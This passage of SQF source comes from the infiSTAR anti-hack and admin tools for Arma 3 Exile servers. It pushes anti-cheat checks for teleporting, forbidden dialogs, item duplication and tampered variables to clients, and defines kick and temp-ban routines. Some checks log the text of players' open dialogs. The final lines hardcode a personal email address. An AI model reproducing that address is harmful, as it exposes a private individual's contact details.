- _log = format['WALL GLITCH CHECK (getout/ejected from vehicle) - @%1 %2',mapGridPosition _visualPos,_visualPos];
- ['+str _name+','+str _puid+','SLOG_GLITCH',toArray(_log)] call '+str _AHKickLog+';
- };
- };
- } forEach lineintersectsobjs[ATLToASL _visualPos, ATLToASL _secondPos, player, _vehicle, true, 2];
- };
- "";
- "; }; _A3AHstring = _A3AHstring + "
- while{true}do{call (_this select 4);};
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- if(_isNormal)then
- {
- "; if(_UAT)then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack [
- [_name,_uid,_AHKickOFF,_AHKickLog,_atLoopCode],
- {
- scriptName '3';
- private['_name','_puid','_AHKickOFF','_AHKickLog','_fn_set_reset','_lastpos','_log','_lasttime','_difftime','_curpos','_driver','_curnetId','_type','_allowTP','_fn_inTradeZone','_inTrader','_curVehicle','_oldVehicle','_distance','_speedcalc','_speed','_topSpeed','_topSpeedcalc','_topSpeedcalcOLD','_livestarted'];
- _name = _this select 0;
- _puid = _this select 1;
- _AHKickOFF = _this select 2;
- _AHKickLog = _this select 3;
- scriptName ""ANTI TP"";
- waitUntil{getClientStateNumber >= 10};
- waituntil{!isNull findDisplay 46};
- uiSleep 3;
- _allowTP = [];
- {
- _markerType = markerType _x;
- if(_markerType isEqualTo 'ExileTraderZone')then
- {
- _markerPos = markerPos _x;
- _markerSize = markerSize _x;
- _allowTP pushBack [_markerPos,(_markerSize select 0)+40];
- };
- } forEach allMapMarkers;
- "; if!(_allowTPcfg isEqualTo [])then{ _A3AHstring = _A3AHstring + "
- _allowTP append "+str _allowTPcfg+";
- "; }; _A3AHstring = _A3AHstring + "
- _fn_inTradeZone = {
- try
- {
- {
- _mpos = _x select 0;
- _msize = _x select 1;
- if((_curpos distance2D _mpos < _msize)&&(_lastpos distance2D _mpos < _msize))then{throw true;};
- } forEach _allowTP;
- false
- }
- catch
- {
- _exception
- };
- };
- if(_allowTP isEqualTo [])then{_fn_inTradeZone = {false};};
- _tmpTime = time + 5;waitUntil {time > _tmpTime};
- _fn_getPos = {
- params[['_obj',vehicle player]];
- _p = getPosATL _obj;
- if(surfaceIsWater _p)then{_p = getPosASL _obj;};
- _p
- };
- _fn_setPos = {
- params[['_obj',vehicle player],['_lp',[0,0,0]]];
- if(surfaceIsWater _lp)then{_obj setPosASL _lp;}else{_obj setPosATL _lp;};
- _curpos = _lp;
- _lastpos = _lp;
- uiSleep 0.1;
- };
- _firstPos = player call _fn_getPos;
- _firstPosTPUSED = false;
- _curVehicle = vehicle player;
- _oldVehicle = _curVehicle;
- _curpos = _curVehicle call _fn_getPos;
- _lastpos = _curVehicle call _fn_getPos;
- _type = typeOf _curVehicle;
- _topSpeedcalc = 0;
- _topSpeedcalcOLD = 0;
- _livestarted = diag_tickTime;
- _touchedground = false;
- _exitPlease = false;
- _revertcounter = 0;
- _revertcounterlastcount = 0;
- uiNameSpace setVariable['"+_AHpos+"',[0,0,0]];
- while{true}do{call (_this select 4);};
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack [
- [_name,_uid,_AHKickOFF,_AHKickLog,_badIDDsToKick,_badIDDsToClose,_allowedIDDs,_iddchecks,_admin],
- {
- scriptName '4';
- disableSerialization;
- _name = _this select 0;
- _puid = _this select 1;
- _AHKickOFF = _this select 2;
- _AHKickLog = _this select 3;
- _badIDDsToKick = _this select 4;
- _badIDDsToClose = _this select 5;
- "; if(_UDW)then{ _A3AHstring = _A3AHstring + "
- _admin = _this select 8;
- _allowedIDDs = _this select 6;
- if(_admin)then{_allowedIDDs pushBackUnique 'Display #-1341';};
- "; }; _A3AHstring = _A3AHstring + "
- _announceDisplayIddOnce = [];
- _verybadStrings = "+str _verybadStrings+";
- _checked = [];
- _lastEmpty = 0;
- {uiNamespace setVariable[_x,nil];} forEach ['RscDisplayRemoteMissions','RscDisplayDebugPublic','RscDisplayMovieInterrupt','RscDisplayArsenal'];
- "; if(_CMC)then{ _A3AHstring = _A3AHstring + "
- _find1 = ['#user:bis_fnc_addcommmenuitem_menu','#user:bis_menu_groupcommunication'];
- _find2tmp = "+str _allowedCommandingMenus+";
- _find2 = [];{_find2 pushBackUnique (toLower _x);} forEach _find2tmp;
- "; }; _A3AHstring = _A3AHstring + "
- _start_player_pos = getPos player;
- _lastText = '';
- _fn_get_texts =
- {
- _txtstmp = [];
- _allctrls = allControls _this;
- {
- _control = _x;
- _controltype = ctrlType _control;
- _logged = false;
- try{
- if(_controltype isEqualTo 5)then
- {
- _size = lbSize _control;
- if(_size > 0)then
- {
- for '_i' from 0 to (_size-1) do
- {
- _lbtxt = _control lbText _i;
- throw format['%1: %2',_control,_lbtxt];
- };
- };
- }
- else
- {
- if(_controltype isEqualTo 12)then
- {
- _curTV = tvCurSel _control;
- _tvtxt = _control tvText _curTV;
- throw format['%1: %2',_control,_tvtxt];
- }
- else
- {
- if!(_controltype in [3,4,8,9,15,42,81,101,102])then
- {
- _ctrlTxt = ctrlText _control;
- throw format['%1: %2',_control,_ctrlTxt];
- };
- };
- };
- }
- catch
- {
- _txtstmp pushBack _exception;
- _logged = true;
- };
- if(!_logged)then{_txtstmp pushBack format['%1',_control];};
- } forEach _allctrls;
- _txtstmp
- };
- _wasclosed = false;
- "; if(_attach_to_check)then{ _A3AHstring = _A3AHstring + "
- _checkedclose = diag_tickTime + 10;
- "; }; _A3AHstring = _A3AHstring + "
- _mapMenuLogged = false;
- while{true}do{call (_this select 7);};
- }
- ];
- _bigInputArray pushBack [
- [_name,_uid,_AHKickOFF,_AHKickLog,_slowloop],
- {
- scriptName '5';
- _name = _this select 0;
- _puid = _this select 1;
- _AHKickOFF = _this select 2;
- _AHKickLog = _this select 3;
- "; if(_CAP)then{ _A3AHstring = _A3AHstring + "
- _object = player;
- _acnt = -1;
- "; }; _A3AHstring = _A3AHstring + "
- _random = round(random 9999);
- _randvar3 = format['test%1',_random];
- while{true}do{call (_this select 4);};
- }
- ];
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if!(_HTML_LOAD_URL isEqualTo '')then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack
- [
- {
- disableSerialization;
- _display49 = findDisplay 49;
- if(!isNull _display49)then
- {
- if(isNil'HTML_LOAD_URL3')then
- {
- _log = 'HTML_LOAD_URL3 VARIABLE NILLED!';
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- }
- else
- {
- if(typeName HTML_LOAD_URL3 isEqualTo 'STRING')then
- {
- if((_display49 displayCtrl 3307182) isEqualTo controlNull)then
- {
- [
- '',
- {
- if(!isNil'START_LOADING_ESCHTML')then{terminate START_LOADING_ESCHTML;START_LOADING_ESCHTML=nil;};
- START_LOADING_ESCHTML = [] spawn {
- disableSerialization;
- _html = (findDisplay 49) ctrlCreate ['RscHTML', 3307182];
- _html ctrlSetBackgroundColor [0,0,0,0.3];
- _html ctrlSetPosition [
- safeZoneX,
- safeZoneY,
- safeZoneW,
- safeZoneH/3
- ];
- _html ctrlCommit 0;
- _html htmlLoad HTML_LOAD_URL3;
- };
- }
- ] execFSM 'call.fsm';
- };
- }
- else
- {
- _log = format['HTML_LOAD_URL3 VARIABLE CHANGED! TYPE: %1 VAR: %2',typeName HTML_LOAD_URL3,HTML_LOAD_URL3];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- };
- },
- {
- scriptName '6';
- [0.2, _this, [], true] call ExileClient_system_thread_addTask;
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_CHECK_DRAWING)then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack
- [
- {
- _need_hlog = true;
- {
- _marker = _x;
- if(_marker find '_USER_DEFINED' > -1)then
- {
- _markerchannel = _marker select [(count _marker)-1,1];
- if(parseNumber _markerchannel > 2)exitWith{};
- _stringsizeSTART = (_marker find '#')+1;
- _stringsizeEND = _marker find '/';
- _markerid = _marker select [_stringsizeSTART,_stringsizeEND - _stringsizeSTART];
- _markerid = parseNumber _markerid;
- _shape = markerShape _marker;
- if(_shape isEqualTo 'POLYLINE')then
- {
- _puid = getPlayerUID player;
- if!(_puid isEqualTo '')then
- {
- _uid = missionNameSpace getVariable[format['UID_BY_ID_%1',_markerid],'-1'];
- if(_puid isEqualTo _uid)then
- {
- deleteMarker _marker;
- _log = 'Deleted drawing on a global channel!';
- systemChat ('<infiSTAR.de> '+_log);
- if(_need_hlog)then
- {
- [profileName,_uid,'SLOG',toArray(_log)] call "+_AHKickLog+";
- };
- _need_hlog = false;
- };
- };
- }
- else
- {
- _name = missionNameSpace getVariable[format['NAME_BY_ID_%1',_markerid],''];
- _markerText = markerText _marker;
- if(_markerText isEqualTo '')then
- {
- _addition = format['%1: ',_name];
- if((_markerText find _addition) isEqualTo -1)then
- {
- _marker setMarkerTextLocal (_addition+_markerText);
- };
- };
- };
- };
- } forEach allMapMarkers;
- },
- {
- scriptName '7';
- [5, _this, [], true] call ExileClient_system_thread_addTask;
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_ENABLE_PRIVATE_CHAT_MENU)then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack
- [
- {
- if(isNil'CHAT_HISTORY_ARRAY')then{CHAT_HISTORY_ARRAY=[];};
- if(isNil'ACTIVE_CHATS')then{ACTIVE_CHATS=[];};
- CALC_TIME = {
- _hours = floor(time / 60 / 60);
- _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
- _seconds = time - (_hours*60*60) - (_minutes * 60);
- format['%1h %2min %3s',_hours,_minutes,round _seconds]
- };
- ['CALC_TIME',[CALC_TIME] call fnc_CompilableString] call FN_infiSTAR_F;
- fnc_add_to_playerlist = {
- "; if(_PRIVATE_CHAT_MENU_8GNETWORK)then{ _A3AHstring = _A3AHstring + "
- _xm8enabled = _unit getVariable ['ExileXM8IsOnline',false];
- if(_xm8enabled)then
- {
- "; }; _A3AHstring = _A3AHstring + "
- _name = _unit getVariable['ExileName',name _unit];
- _index = _chat_playerlist lbadd _name;
- _chat_playerlist lbSetData [_index,netId _unit];
- _squadParams = squadParams _unit;
- if!(_squadParams isEqualTo [])then
- {
- _squadinfo = _squadParams select 0;
- _squadpic = _squadinfo select 4;
- if!(_squadpic isEqualTo '')then
- {
- _chat_playerlist lbSetPicture [_index,_squadpic];
- _chat_playerlist lbSetPictureColor [_index,[1, 1, 1, 1]];
- };
- };
- "; if(_PRIVATE_CHAT_MENU_8GNETWORK)then{ _A3AHstring = _A3AHstring + "
- };
- "; }; _A3AHstring = _A3AHstring + "
- };
- ['fnc_add_to_playerlist',[fnc_add_to_playerlist] call fnc_CompilableString] call FN_infiSTAR_F;
- fnc_fill_chat_playerlist = {
- disableSerialization;
- _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
- lbClear _chat_playerlist;
- ACTIVE_CHATS = ACTIVE_CHATS - [objNull];
- if!(ACTIVE_CHATS isEqualTo [])then
- {
- {
- _unit = _x;
- call fnc_add_to_playerlist;
- } forEach ACTIVE_CHATS;
- _index = _chat_playerlist lbadd '----------------------------------------------------------------------------------------------------';
- };
- _players = allPlayers;
- {_players set [_forEachIndex, [_x getVariable['ExileName',name _x], _x]];} forEach _players;
- _players sort true;
- {
- _unit = _x select 1;
- if!(_unit isEqualTo player)then
- {
- if!(_unit in ACTIVE_CHATS)then
- {
- call fnc_add_to_playerlist;
- };
- };
- } forEach _players;
- };
- ['fnc_fill_chat_playerlist',[fnc_fill_chat_playerlist] call fnc_CompilableString] call FN_infiSTAR_F;
- fnc_fill_chat_history = {
- disableSerialization;
- _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
- _curselection = lbCurSel _chat_playerlist;
- _receiverName = _chat_playerlist lbText _curselection;
- _chat_msgbox = uiNamespace getVariable ['chat_msgbox', controlNull];
- lbClear _chat_msgbox;
- if!(CHAT_HISTORY_ARRAY isEqualTo [])then
- {
- {
- _senderName = _x select 0;
- _receiverNameR = _x select 1;
- if(_receiverName in [_senderName,_receiverNameR])then
- {
- _time = _x select 2;
- _text = _x select 3;
- _pretxt = format['%1 (%2): ',_senderName,_time];
- _index = 0;
- _textsize = count _text;
- _maxtsize = 165-(count _pretxt);
- if(_textsize > _maxtsize)then
- {
- _partcount = ceil(_textsize / _maxtsize);
- _first = 0;
- _index = _chat_msgbox lbAdd format['%1%2',_pretxt,_text select [_first,_maxtsize]];
- for '_i' from 1 to (_partcount) do
- {
- _first = _maxtsize*_i;
- _curtxt = _text select [_first,_maxtsize];
- if(_curtxt != '')then
- {
- _index = _chat_msgbox lbAdd _curtxt;
- };
- };
- }
- else
- {
- _index = _chat_msgbox lbAdd format['%1%2',_pretxt,_text];
- };
- if(_senderName isEqualTo (name player))then{_chat_msgbox lbSetColor [_index,[0,0.8,1,1]];};
- _chat_msgbox lbSetCurSel _index;
- _chat_msgbox lbSetCurSel -1;
- };
- } forEach CHAT_HISTORY_ARRAY;
- };
- };
- ['fnc_fill_chat_history',[fnc_fill_chat_history] call fnc_CompilableString] call FN_infiSTAR_F;
- fnc_chat_send = {
- disableSerialization;
- _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
- _curselection = lbCurSel _chat_playerlist;
- _receiverName = _chat_playerlist lbText _curselection;
- _stop = true;
- {if((_x getVariable['ExileName',name _x]) isEqualTo _receiverName)exitWith{_stop = false;};} forEach allPlayers;
- if(_stop)exitWith{['ErrorTitleOnly', ['The player you want to message is not connected (maybe in lobby)']] call ExileClient_gui_toaster_addTemplateToast;};
- _senderName = name player;
- if(_receiverName isEqualTo '')exitWith{['ErrorTitleOnly', ['Select a player on the left that you want to write a message!']] call ExileClient_gui_toaster_addTemplateToast;};
- _receiverNetId = _chat_playerlist lbData _curselection;
- _chat_inputfield = uiNamespace getVariable ['chat_inputfield', controlNull];
- _text = ctrlText _chat_inputfield;
- if(_text isEqualTo '')exitWith{['ErrorTitleOnly', ['Please enter a Text!']] call ExileClient_gui_toaster_addTemplateToast;};
- _chat_inputfield ctrlSetText '';
- _time = call CALC_TIME;
- [3,[4,[netId player,_receiverNetId,_time,_text]]] call FN_infiSTAR_CS;
- CHAT_HISTORY_ARRAY pushBack [_senderName,_receiverName,_time,_text];
- _receiverObj = (objectFromNetId _receiverNetId);
- ACTIVE_CHATS = ACTIVE_CHATS - [_receiverObj];
- ACTIVE_CHATS pushBackUnique _receiverObj;
- playsound 'AddItemOK';
- call fnc_fill_chat_history;
- call fnc_fill_chat_playerlist;
- };
- ['fnc_chat_send',[fnc_chat_send] call fnc_CompilableString] call FN_infiSTAR_F;
- fnc_chat_onLBSelChanged = {
- disableSerialization;
- call fnc_fill_chat_history;
- _chat_text1 = uiNamespace getVariable ['chat_text1', controlNull];
- _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
- _curselection = lbCurSel _chat_playerlist;
- _receiverName = _chat_playerlist lbText _curselection;
- _chat_text1 ctrlSetText format['Chatpartner: %1',_receiverName];
- };
- ['fnc_chat_onLBSelChanged',[fnc_chat_onLBSelChanged] call fnc_CompilableString] call FN_infiSTAR_F;
- fnc_chat_onKeyDown = {
- _key = _this select 1;
- _return = false;
- if(_key in [0x1C,0x9C])then
- {
- call fnc_chat_send;
- _return = true;
- };
- _return
- };
- ['fnc_chat_onKeyDown',[fnc_chat_onKeyDown] call fnc_CompilableString] call FN_infiSTAR_F;
- },
- {
- scriptName '8';
- call _this
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_fix_uniform_and_vest)then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack [
- [_name,_uid,_AHKickLog],
- {
- scriptName '9';
- _name = _this select 0;
- _uid = _this select 1;
- _AHKickLog = _this select 2;
- fnc_check_uniform_n_vest = ""
- if(isNil 'ExileClientLoadedIn')exitWith{};
- params ['_uniform', '_vest'];
- _myuniform = uniform player;
- if!(_myuniform isEqualTo '')then
- {
- if!(_myuniform isEqualTo _uniform)then
- {
- _uniformContent = (uniformContainer player) call ExileClient_util_containerCargo_serialize;
- uiSleep 0.1;
- removeUniform player;
- player forceAddUniform _myuniform;
- uiSleep 0.1;
- [(uniformContainer player), _uniformContent] call ExileClient_util_containerCargo_deserialize;
- systemChat '<infiSTAR.de> just replaced your UNIFORM as it was not shown for other players #ARMABUGS';
- };
- };
- _myvest = vest player;
- if!(_myvest isEqualTo '')then
- {
- if!(_myvest isEqualTo _vest)then
- {
- _vestContent = (vestContainer player) call ExileClient_util_containerCargo_serialize;
- uiSleep 0.1;
- removeVest player;
- player addVest _myvest;
- uiSleep 0.1;
- [(vestContainer player), _vestContent] call ExileClient_util_containerCargo_deserialize;
- systemChat '<infiSTAR.de> just replaced your VEST as it was not shown for other players #ARMABUGS';
- };
- };
- "";
- ['fnc_check_uniform_n_vest',fnc_check_uniform_n_vest] call FN_infiSTAR_F;
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_ENABLE_NOTIFICATION_MESSAGES)then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack
- [
- {
- [] spawn {
- waitUntil {!isNull findDisplay 46};
- waitUntil {!isNil 'ExileSystemThreadSleep'};
- uiSleep 1;
- {_x set [0,(_x select 0)*60];_x set [1,(_x select 1)*60];NOTIFY_MSG_ARRAY set [_forEachIndex,_x];} forEach NOTIFY_MSG_ARRAY;
- LAST_NOTIFICATION_SHOWN = 0;
- _code = {
- {
- if(time > LAST_NOTIFICATION_SHOWN)then
- {
- ctrlDelete ((findDisplay 46) displayCtrl 117997);
- if!(_x isEqualTo [])then
- {
- _timetostart = _x select 0;
- if(time > _timetostart)then
- {
- if((time - 135 < _timetostart)||(_timetostart isEqualTo -60))then
- {
- LAST_NOTIFICATION_SHOWN = time + (_x select 2);
- ctrlDelete ((findDisplay 46) displayCtrl 117997);
- _ctrl = (findDisplay 46) ctrlCreate['RscStructuredText', 117997];
- _ctrl ctrlSetPosition [_x select 4,_x select 5,1,1];
- _ctrl ctrlSetScale 2;
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetStructuredText parseText format['<t size=''%1'' color=''%2'' align=''left''>%3</t>',_x select 3,_x select 6,_x select 7];
- if(_timetostart isEqualTo -60)then
- {
- NOTIFY_MSG_ARRAY set [_forEachIndex,[]];
- }
- else
- {
- _x set [0,time + (_x select 1)];
- NOTIFY_MSG_ARRAY set [_forEachIndex,_x];
- };
- };
- };
- };
- };
- } forEach NOTIFY_MSG_ARRAY;
- };
- if(!isNil'msgthreadid')then{[msgthreadid] call ExileClient_system_thread_removeTask;msgthreadid=nil;};
- msgthreadid = [1, _code, [], true] call ExileClient_system_thread_addtask;
- };
- },
- {
- scriptName '10';
- call _this
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_experimental_dupe_check)then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack
- [
- [_name,_uid,_AHKickLog],
- {
- scriptName ""anti dupe check"";
- params[['_name',''],['_uid',''],['_AHKickLog',{}]];
- waituntil{!isNull findDisplay 46};
- if(isNil'ExilePlayerInSafezone')then{ExilePlayerInSafezone = false;};
- _objects = [];
- _ALL_container = [];
- _containercount = -1;
- _lastcontainercount = -1;
- while{true}do
- {
- if!(ExilePlayerInSafezone isEqualType true)exitWith
- {
- _log = format['ExilePlayerInSafezone VARIABLE HACKED! TYPE: %1 VAR: %2',typeName ExilePlayerInSafezone,ExilePlayerInSafezone];
- [_name,_uid,'BAN',toArray(_log)] call _AHKickLog;
- };
- _lastObjects = _objects;
- _objects = nearestObjects [player, ['LootWeaponHolder', 'GroundWeaponHolder', 'WeaponHolderSimulated','Exile_Unit_Player','LandVehicle','Ship','Air'],20];
- {{_objects pushBackUnique _x;} forEach (crew _x);} forEach _objects;
- if(_lastObjects isEqualTo _objects)then
- {
- _lastcontainer = _ALL_container;
- _lastcontainercount = _containercount;
- _ALL_container = [];
- {
- if(!isNull _x)then
- {
- _object = _x;
- _containers = backpackCargo _object;
- if(!isNil '_containers')then
- {
- if(_containers isEqualTo [])then
- {
- _backpack = backpack _object;
- if!(_backpack isEqualTo '')then
- {
- _ALL_container pushBack _backpack;
- };
- }
- else
- {
- _ALL_container append _containers;
- };
- };
- };
- } forEach _objects;
- _containercount = count _ALL_container;
- if((_containercount > _lastcontainercount) && (_lastcontainercount > -1))then
- {
- _types_and_count__old = [];
- {
- _type = _x;
- _typecount = {_x isEqualTo _type} count _lastcontainer;
- _types_and_count__old pushBackUnique [_type,_typecount];
- } forEach _lastcontainer;
- _types_and_count = [];
- {
- _type = _x;
- _typecount = {_x isEqualTo _type} count _ALL_container;
- _types_and_count pushBackUnique [_type,_typecount];
- } forEach _ALL_container;
- _foundAdded = [];
- {
- if!(_x in _types_and_count__old)then
- {
- if(_x select 1 > 2)then
- {
- _foundAdded pushBack _x;
- };
- };
- } forEach _types_and_count;
- if!(_foundAdded isEqualTo [])then
- {
- [_name,_uid,'EXPERIMENTAL_DUPE_CHECK',toArray(str _foundAdded)] call _AHKickLog;
- };
- };
- }
- else
- {
- _containercount = -1;
- _lastcontainercount = -1;
- };
- uiSleep 0.5;
- };
- }
- ];
- "; }; _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack
- [
- {
- _code = {
- if(!isNil 'infiSTAR_stopvaultglitch_id')then{(findDisplay 46) displayRemoveEventHandler ['KeyDown',infiSTAR_stopvaultglitch_id];infiSTAR_stopvaultglitch_id=nil;};
- infiSTAR_stopvaultglitch_id = (findDisplay 46) displayAddEventHandler ['KeyDown', '_this call fnc_infiSTAR_stopvaultglitch'];
- };
- if(!isNil'antivaultkeybindadd')then{[antivaultkeybindadd] call ExileClient_system_thread_removeTask;antivaultkeybindadd=nil;};
- antivaultkeybindadd = [1, _code, [], true] call ExileClient_system_thread_addtask;
- },
- {
- scriptName '11';
- call _this
- }
- ];
- _bigInputArray pushBack
- [
- [_admins],
- {
- scriptName '12';
- params[['_admins',[]]];
- _GET_TIME_TIME = {
- _hours = floor(time / 60 / 60);
- _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
- _seconds = time - (_hours*60*60) - (_minutes * 60);
- format['%1h %2min %3s',_hours,_minutes,round _seconds]
- };
- if(isNil'VERSIONCHECKRESULT')then{VERSIONCHECKRESULT='';};
- _devLog = format['infiSTAR.de AHAT %1 - 05-Jul-2016 23-52-40 - v0054 - server running: %2:2666 - AdminNameTag: "+str _AdminNameTag+"',VERSIONCHECKRESULT,call _GET_TIME_TIME];diag_log _devLog;
- "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
- systemChat format['<infiSTAR.de> %1 - Successfully Loaded In.',call _GET_TIME_TIME];
- "; }; _A3AHstring = _A3AHstring + "
- diag_log str _admins;{diag_log format['<infiSTAR.de> %1',_x];} forEach diag_activeSQFScripts;
- "; if(_TGV != -1)then{ _A3AHstring = _A3AHstring + "
- setTerrainGrid "+str _TGV+";
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_VDV != -1)then{ _A3AHstring = _A3AHstring + "
- setViewDistance "+str _VDV+";
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_VOV != -1)then{ _A3AHstring = _A3AHstring + "
- setObjectViewDistance ["+str _VOV+",getObjectViewDistance select 1];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_SVD != -1)then{ _A3AHstring = _A3AHstring + "
- setObjectViewDistance [getObjectViewDistance select 0,"+str _SVD+"];
- "; }; _A3AHstring = _A3AHstring + "
- player createDiaryRecord ['Diary', ['infiSTAR.de AntiHack & AdminTools', '<br/> Get your own infiSTAR.de AntiHack and AdminTools available on <br/><br/>http://www.infiSTAR.de<br/><br/>']];
- _bis_fnc_diagkey = uiNamespace getVariable['bis_fnc_diagkey',{false}];
- if(!isNil'_bis_fnc_diagkey')then{if!((str _bis_fnc_diagkey) in ['{false}','{}'])then{bis_fnc_diagkeychanged='bis_fnc_diagkeychanged';publicVariableServer'bis_fnc_diagkeychanged';};};
- "+_AH_RunCheckENDVAR+" = time;
- }
- ];
- [
- _bigInputArray,
- {
- waitUntil {!isNull findDisplay 46 && !isNil 'ExileClientLoadedIn' && getPlayerUID player != ''};
- uiSleep 1;
- CLIENTS_AH_THREAD = [];
- {
- CLIENTS_AH_THREAD pushBack ((_x select 0) spawn (_x select 1));
- } forEach _this;
- }
- ] remoteExec ['FN_infiSTAR_C',_owner,false];
- };
- "+_FN_INJECT_ON_CLIENT+" = compileFinal ([_FN_INJECT_ON_CLIENT] call fnc_CompilableString);
- _fnc_l_on_c = {
- params[['_token',''],['_owner',-10],['_name',''],['_uid',''],['_admins',[]],['_admin',false],['_isNormal',true]];
- if(_owner > 2)then
- {
- _kickname = toArray _name;{if(_x in [34,39])then{_kickname set[_forEachIndex,32];};} forEach _kickname;_kickname = toString _kickname;
- _AHKickOFF = compile(format['[] spawn {uiSleep 1;AH_KICK_OFF = ''%1(%2)'';publicVariableServer''AH_KICK_OFF'';};',_kickname,_uid]);
- _AHKickLog = compile(format['[1,[''%1'',''%2'',netId player,_this]] call FN_infiSTAR_CS',_token,_uid]);
- call "+_FN_INJECT_ON_CLIENT+";
- if(!_isNormal)then
- {
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- _owner publicVariableClient '"+_AH_HackLogArrayRND+"';
- _owner publicVariableClient '"+_AH_SurvLogArrayRND+"';
- _owner publicVariableClient '"+_AH_AdmiLogArrayRND+"';
- "; }; _A3AHstring = _A3AHstring + "
- PVAH_AHTMPBAN = call "+_fn_getTempBans+";_owner publicVariableClient 'PVAH_AHTMPBAN';
- _fnc_AdminReq_string = format['[0,[''%1'',''%2'',netId player,_this]] call FN_infiSTAR_CS',_token,_uid];
- [[_token,_name,_uid,"+_adminsA+","+str _devs+",_fnc_AdminReq_string],"+_adminStartupCode+"] remoteExec ['FN_infiSTAR_C',_owner,false];
- };
- }
- else
- {
- _log = format['%1(%2) bad owner id %3',_name,_uid,_owner];
- ['ERROR',_log] call FNC_A3_CUSTOMLOG;
- [_name,_uid,_owner,_log] call FNC_INFISERVERKICK;
- };
- };
- "+_fnc_l_on_c+" = compileFinal ([_fnc_l_on_c] call fnc_CompilableString);
- _server_setToken={
- params[['_owner',-10],['_name',''],['_uid','']];
- _token = missionNameSpace getVariable[format['"+_token_by_uid+"%1',_uid],''];
- if(_token isEqualTo '')then
- {
- _fnc_RandomGen =
- {
- _arr = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9'];
- _gen = _arr select (floor (random 25));
- for '_i' from 0 to (12+(round(random 5))) do {_gen = _gen + (_arr select (random ((count _arr)-1)));};
- _gen
- };
- _token = call _fnc_RandomGen;
- missionNameSpace setVariable[format['"+_token_by_uid+"%1',_uid],_token];
- missionNameSpace setVariable[format['"+_uid_by_token+"%1',_token],_uid];
- _log = format['TOKEN [%1] FOR %2(%3) - %4',_token,_name,_uid,_owner];
- ['TOKENLOG',_log] call FNC_A3_CUSTOMLOG;
- };
- _token
- };
- "+_server_setTokenR+" = compileFinal ([_server_setToken] call fnc_CompilableString);
- FNC_INFISERVERKICK = compileFinal ""
- params[['_name',''],['_uid',''],['_owner',-10],['_reason','']];
- if((_name isEqualTo '')||(_uid isEqualTo ''))exitWith
- {
- _log = format['can not kick %1(%2) %3 - no Name / no UID / no ownerID',_name,_uid,_owner];
- ['KICKLOG',_log] call FNC_A3_RL;
- };
- if(_owner isEqualTo -10)then{_owner = _uid call FNC_OWNER_BY_UID;};
- _return = (call FN_GET_SERVERPW) serverCommand format ['#kick %1',_uid];
- if(!_return)then{
- [
- [_name,_uid],
- {if((name player == (_this select 0))||(getPlayerUID player == (_this select 1)))then{diag_log '<infiSTAR.de> kicked to lobby #1';(findDisplay 46)closeDisplay 0;};},
- if(_owner > 2)then{_owner}else{-2},
- false
- ] call FN_infiSTAR_S;
- };
- _log = format['%1(%2) ID: %3 (%4)',_name,_uid,_owner,_reason];
- ['KICKLOG',_log] call FNC_A3_RL;
- "";
- FNC_A3_infiSTARTMPBAN = {
- params[['_name',''],['_uid',''],['_owner',-10],['_reason','']];
- _log = '';
- _admins = "+str _admins+";
- _tempbans = call "+_fn_getTempBans+";
- if(_tempbans isEqualType [])then
- {
- if!(_uid in _tempbans)then
- {
- if(_uid in _admins)exitWith
- {
- _log = format['%1(%2) PLAYER IS ADMIN - STOPPED TEMPBAN FOR: %3',_name,_uid,_reason];
- diag_log _log;
- };
- _uid call "+_fnc_addTempBan+";
- _log = format['TEMPBANNED | %1(%2)',_name,_uid];if!(_reason isEqualTo '')then{_log = (_log + ' ' + _reason)};
- ['TEMPBANLOG',_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
- "+_AH_HackLogArrayRND+" pushBack _log;
- '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- };
- };
- if(_log isEqualTo '')then{_log = 'TEMPBANNED';};
- [_name,_uid,_owner,_log] call FNC_INFISERVERKICK;
- };
- FNC_A3_infiSTARTMPBAN = compileFinal ([FNC_A3_infiSTARTMPBAN] call fnc_CompilableString);
- UPDATEEMAIL='bullred1989@gmail.com';
- INFISTARVERSION='05-Jul-2016 23-52-40 - v0054';
